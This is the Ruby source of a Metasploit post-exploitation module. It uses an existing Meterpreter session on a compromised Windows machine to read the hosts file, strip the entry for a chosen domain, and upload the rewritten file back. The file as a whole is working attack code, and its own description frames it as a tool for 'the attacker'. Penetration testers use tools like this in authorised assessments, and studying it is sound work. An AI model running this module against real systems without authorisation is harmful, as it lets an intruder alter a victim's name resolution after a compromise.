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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Manage Host File Entry Removal',
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        'Description' => %q{
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          This module allows the attacker to remove an entry from the Windows hosts file.
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        },
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        'License' => BSD_LICENSE,
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        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_close
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_tell
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              core_channel_write
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            ]
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          }
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [CONFIG_CHANGES],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
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      ]
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    )
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  end
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  def hosts_path
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    root = client.sys.config.getenv('SystemRoot') ||
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           client.sys.config.getenv('windir') ||
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           'C:\\Windows'
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    "#{root}\\System32\\drivers\\etc\\hosts"
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  end
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  def run
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    hosttoremove = datastore['DOMAIN']
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    path = hosts_path
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    fd = client.fs.file.new(path, 'r+b')
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    # Get a temporary file path
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    meterp_temp = Tempfile.new('meterp')
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    meterp_temp.binmode
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    print_status("Removing hosts file entry pointing to #{hosttoremove}")
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    newfile = ''
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    fdray = fd.read.split("\r\n")
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    fdray.each do |line|
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      main_part = line.split('#', 2).first.to_s.strip
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      parts = main_part.split(/\s+/)
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      if parts[1..-1].to_a.include?(hosttoremove)
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        parts.delete_if { |p| p.casecmp(hosttoremove).zero? }
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        next if parts.size < 2
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        rebuilt = parts.join(' ')
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        rebuilt += " " + line.split('#', 2).last if line.include?('#')
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        newfile += "#{rebuilt}\r\n"
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      else
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        newfile += "#{line}\r\n"
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      end
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    end
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    fd.close
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    meterp_temp.write(newfile)
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    meterp_temp.close
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    client.fs.file.upload_file(path, meterp_temp)
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    print_good('Done!')
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  end
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end
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